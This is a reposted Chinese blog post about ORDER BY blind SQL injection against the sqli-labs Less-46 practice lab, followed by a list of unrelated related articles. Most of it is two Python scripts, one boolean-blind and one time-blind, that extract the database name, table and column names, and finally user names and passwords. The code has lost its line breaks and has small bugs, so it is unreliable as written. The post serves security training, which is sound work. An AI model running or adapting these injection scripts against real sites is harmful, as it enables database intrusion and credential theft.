order by布爾盲注、時間盲注

pdo防御下,order by、limit不能參數綁定,可以進行sql注入

案例:靶場的less-46

布爾盲注:

import requests
from lxml import htmldef get_id_one(URL, paload):res = requests.get(url=URL, params=paload)tree = html.fromstring(res.content)id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()return id_onedef get_database(URL):s = ""for i in range(1, 10):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr(database(),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("數據庫名稱:" + s)def get_table(URL):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("表的名稱:" + s)def get_column(URL):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("列的名稱:" + s)def get_result(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("用戶名及密碼信息:" + s)if __name__ == '__main__':URL = "http://localhost/Less-46/"# get_database(URL)# get_table(URL)# get_column(URL)get_result(URL)

?

時間盲注:

import requests
import datetimedef get_database(URL):s = ""for i in range(1, 10):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr(database(),{i},1))>{mid}),sleep(0.2),id) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2# print(chr(mid), mid)s += chr(mid)print("數據庫名稱:" + s)def get_table(URL):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(0.2),id) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("表的名稱:" + s)def get_column(URL):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(0.2),id) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("列的名稱:" + s)def get_result(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(0.2),id) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("用戶名及密碼信息:" + s)if __name__ == '__main__':URL = "http://localhost/Less-46/"# get_database(URL)# get_table(URL)# get_column(URL)get_result(URL)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/71940.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/71940.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/71940.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

springboot集成deepseek4j

1、文檔地址 快速開始 - 零基礎入門Java AI 免費的模型 Models 2、pom文件依賴 parent依賴 <dependency><groupId>com.squareup.okhttp3</groupId><artifactId>okhttp</artifactId><version>4.12.0</version></dependency>&…

Visual Studio Code 跨平臺安裝與配置指南(附官方下載鏈接)

一、軟件定位與核心功能 Visual Studio Code&#xff08;簡稱VS Code&#xff09;是微軟開發的開源跨平臺代碼編輯器&#xff0c;支持超過50種編程語言的智能補全、調試和版本控制功能。2025版本新增AI輔助編程模塊&#xff0c;可自動生成單元測試代碼和API文檔注釋。 二、下載…

elementplus點擊按鈕直接預覽圖片

引用&#xff1a;https://blog.csdn.net/this_zq/article/details/134535539 <el-image-viewerv-if"showImagePreview":zoom-rate"1.2"close"closePreview":url-list"imgPreviewList"/>const showImagePreview ref(false) cons…

grafana K6壓測

文章目錄 install and runscript.jsoptions最佳實踐 report 解析 https://grafana.com/docs/k6/latest/get-started install and run install # mac brew install k6當前目錄下生成壓測腳本 # create file script.js k6 new [filename] # create file ‘script.js’ in …

解決IDEA使用Ctrl + / 注釋不規范問題

問題描述&#xff1a; ctrl/ 時&#xff0c;注釋縮進和代碼規范不一致問題 解決方式 設置->編輯器->代碼樣式->java->代碼生成->注釋代碼

項目實踐 之 pdf簡歷的解析和填充(若依+vue3)

文章目錄 環境背景最終效果前端講解左側模塊解析右側上傳模塊解析前端步驟 后端講解代碼前端 環境背景 若依前后端分離框架 vue最后邊附有代碼哦 最終效果 前端講解 左側模塊解析 1、左側表單使用el-form 注意&#xff1a; 1、prop出現的字段&#xff0c;需要保證是該類所…

【Electron入門】進程環境和隔離

目錄 一、主進程和渲染進程 1、主進程&#xff08;main&#xff09; 2、渲染進程&#xff08;renderer&#xff09; 二、預加載腳本 三、沙盒化 為單個進程禁用沙盒 全局啟用沙盒 四、環境訪問權限控制&#xff1a;contextIsolation和nodeIntegration 1、contextIsola…

如何看待 Kaiming He 最新提出的 Fractal Generative Models ?

何愷明團隊提出的分形生成模型(Fractal Generative Models) 引發了廣泛關注,其核心思想是通過遞歸調用生成模型模塊構建自相似結構,類似數學中的分形概念(如雪花結構),從而高效生成高分辨率數據(如圖像)。 Fractal Generative Models即分形生成模型,是一種新型的生成…

Debian系統終端輸入ifconfig報錯

報錯 bash: ifconfig: command not found 原因 Debian 上默認不安裝 ifconfig 軟件包。這是因為 ifconfig 已被棄用&#xff0c;取而代之的是新的 ip 命令。該 ip 命令現在負責修改或顯示路由、網絡設備、接口和隧道 如果仍然想使用舊的 ifconfig 命令&#xff0c;則必須顯式…

【NLP 27、文本分類任務 —— 傳統機器學習算法】

不要抓著枯葉哭泣&#xff0c;你要等待初春的新芽 —— 25.1.23 一、文本分類任務 定義&#xff1a;預先設定好一個文本類別集合&#xff0c;對于一篇文本&#xff0c;預測其所屬的類別 例如&#xff1a; 情感分析&#xff1a; 這家飯店太難吃了 —> 正類 …

Lumoz Chain正式上線:AI 時代的新算力破局者

新的敘事和技術突破永遠是推動行業前行的核心動力。當下&#xff0c;AI Agent無疑是最炙手可熱的賽道之一。 當加密世界將目光投向AI領域時&#xff0c;大多數項目仍停留在以AI為工具或應用場景的層面&#xff0c;試圖通過集成AI模型或優化鏈上功能來吸引用戶。然而&#xff0c…

Python - Python連接數據庫

Python的標準數據庫接口為&#xff1a;Python DB-API&#xff0c;Python DB-API為開發人員提供了數據庫應用編程接口。 PyMySQL 是在 Python3.x 版本中用于連接 MySQL 服務器的一個實現庫&#xff0c;Python2中則使用mysqldb。 PyMySQL 遵循 Python 數據庫 API v2.0 規范&…

面試八股文--數據庫基礎知識總結(1)

1、數據庫的定義 數據庫&#xff08;DataBase&#xff0c;DB&#xff09;簡單來說就是數據的集合數據庫管理系統&#xff08;Database Management System&#xff0c;DBMS&#xff09;是一種操縱和管理數據庫的大型軟件&#xff0c;通常用于建立、使用和維護數據庫。數據庫系統…

關于在java項目部署過程MySQL拒絕連接的分析和解決方法

前言 在最近一次部署項目一次項目部署過程中&#xff0c;由于沒有對MySQL數據庫的部分權限和遠程連接進行授權&#xff0c;導致了在執行項目功能API時&#xff0c;出現MySQL連接異常或MySQL拒絕連接的問題。 問題 以下是部分報錯截圖&#xff1a; 分析 根據日志提示&#xf…

PhotoLine綠色版 v25.00:全能型圖像處理軟件的深度解析

在圖像處理領域,PhotoLine以其強大的功能和緊湊的體積,贏得了國內外眾多用戶的喜愛。本文將為大家全面解析PhotoLine綠色版 v25.00的各項功能,幫助大家更好地了解這款全能型的圖像處理軟件。 一、迷你體積,強大功能 PhotoLine被譽為迷你版的Photoshop,其體積雖小,但功能卻…

阿里重磅模型深夜開源;DeepSeek宣布開源DeepGEMM;微軟開源多模態AI Agent基礎模型Magma...|網易數智日報

阿里重磅模型深夜開源&#xff1a;表現超越Sora、Pika&#xff0c;消費級顯卡就能跑 2月26日&#xff0c;25日深夜阿里云視頻生成大模型萬相2.1&#xff08;Wan&#xff09;正式宣布開源&#xff0c;此次開源采用Apache2.0協議&#xff0c;14B和1.3B兩個參數規格的全部推理代碼…

002 Java操作kafka客戶端

Java操作kafka客戶端 文章目錄 Java操作kafka客戶端3.Java操作kafka客戶端1.引入依賴2. Kafka服務配置3、生產者&#xff08;Producer&#xff09;實現1. 基礎配置與發送消息2. 關鍵配置說明 4.消費者&#xff08;Consumer&#xff09;實現1. 基礎配置與消費消息2. 關鍵配置說明…

【SRC實戰】信息泄露導致越權會員功能

01 — 漏洞證明 1、VIP功能 2、SVIP功能 3、點擊任意用戶發起私聊&#xff0c;發現userId純數字可遍歷 4、返回包泄露身高范圍height&#xff0c;星座constellation&#xff0c;屬相zodiac&#xff0c;戀愛目標purpose&#xff0c;教育程度degree&#xff0c;成功越權VIP功能 …

游戲引擎學習第125天

倉庫:https://gitee.com/mrxiao_com/2d_game_3 回顧并為今天的內容做準備。 昨天&#xff0c;當我們離開時&#xff0c;工作隊列已經完成了基本的功能。這個隊列雖然簡單&#xff0c;但它能夠執行任務&#xff0c;并且我們已經為各種操作編寫了測試。字符串也能夠正常推送到隊…